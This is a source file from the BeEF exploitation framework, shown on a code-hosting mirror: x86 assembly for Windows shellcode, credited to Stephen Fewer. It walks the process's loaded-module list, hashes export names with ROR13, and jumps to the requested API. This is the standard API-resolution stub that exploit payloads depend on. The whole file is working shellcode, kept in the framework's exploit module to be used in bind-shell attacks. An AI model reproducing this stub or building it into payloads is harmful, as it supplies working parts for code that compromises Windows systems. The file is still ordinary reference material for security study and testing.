Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/beefbind/shellcode_sources/windows/src/block_api.asm
1154 views
1
;-----------------------------------------------------------------------------;
2
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4
; Version: 1.0 (24 July 2009)
5
; Size: 137 bytes
6
;-----------------------------------------------------------------------------;
7
8
[BITS 32]
9
10
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
11
; Output: The return value from the API call will be in EAX.
12
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
13
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
14
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
15
; Note: This function is unable to call forwarded exports.
16
17
api_call:
18
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
19
mov ebp, esp ; Create a new stack frame
20
xor edx, edx ; Zero EDX
21
mov edx, [fs:edx+48] ; Get a pointer to the PEB
22
mov edx, [edx+12] ; Get PEB->Ldr
23
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
24
next_mod: ;
25
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
26
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
27
xor edi, edi ; Clear EDI which will store the hash of the module name
28
loop_modname: ;
29
xor eax, eax ; Clear EAX
30
lodsb ; Read in the next byte of the name
31
cmp al, 'a' ; Some versions of Windows use lower case module names
32
jl not_lowercase ;
33
sub al, 0x20 ; If so normalise to uppercase
34
not_lowercase: ;
35
ror edi, 13 ; Rotate right our hash value
36
add edi, eax ; Add the next byte of the name
37
loop loop_modname ; Loop untill we have read enough
38
; We now have the module hash computed
39
push edx ; Save the current position in the module list for later
40
push edi ; Save the current module hash for later
41
; Proceed to itterate the export address table,
42
mov edx, [edx+16] ; Get this modules base address
43
mov eax, [edx+60] ; Get PE header
44
add eax, edx ; Add the modules base address
45
mov eax, [eax+120] ; Get export tables RVA
46
test eax, eax ; Test if no export address table is present
47
jz get_next_mod1 ; If no EAT present, process the next module
48
add eax, edx ; Add the modules base address
49
push eax ; Save the current modules EAT
50
mov ecx, [eax+24] ; Get the number of function names
51
mov ebx, [eax+32] ; Get the rva of the function names
52
add ebx, edx ; Add the modules base address
53
; Computing the module hash + function hash
54
get_next_func: ;
55
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
56
dec ecx ; Decrement the function name counter
57
mov esi, [ebx+ecx*4] ; Get rva of next module name
58
add esi, edx ; Add the modules base address
59
xor edi, edi ; Clear EDI which will store the hash of the function name
60
; And compare it to the one we want
61
loop_funcname: ;
62
xor eax, eax ; Clear EAX
63
lodsb ; Read in the next byte of the ASCII function name
64
ror edi, 13 ; Rotate right our hash value
65
add edi, eax ; Add the next byte of the name
66
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
67
jne loop_funcname ; If we have not reached the null terminator, continue
68
add edi, [ebp-8] ; Add the current module hash to the function hash
69
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
70
jnz get_next_func ; Go compute the next function hash if we have not found it
71
; If found, fix up stack, call the function and then value else compute the next one...
72
pop eax ; Restore the current modules EAT
73
mov ebx, [eax+36] ; Get the ordinal table rva
74
add ebx, edx ; Add the modules base address
75
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
76
mov ebx, [eax+28] ; Get the function addresses table rva
77
add ebx, edx ; Add the modules base address
78
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
79
add eax, edx ; Add the modules base address to get the functions actual VA
80
; We now fix up the stack and perform the call to the desired function...
81
finish:
82
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
83
pop ebx ; Clear off the current modules hash
84
pop ebx ; Clear off the current position in the module list
85
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
86
pop ecx ; Pop off the origional return address our caller will have pushed
87
pop edx ; Pop off the hash value our caller will have pushed
88
push ecx ; Push back the correct return value
89
jmp eax ; Jump into the required function
90
; We now automagically return to the correct caller...
91
get_next_mod: ;
92
pop eax ; Pop off the current (now the previous) modules EAT
93
get_next_mod1: ;
94
pop edi ; Pop off the current (now the previous) modules hash
95
pop edx ; Restore our position in the module list
96
mov edx, [edx] ; Get the next module
97
jmp short next_mod ; Process this module
98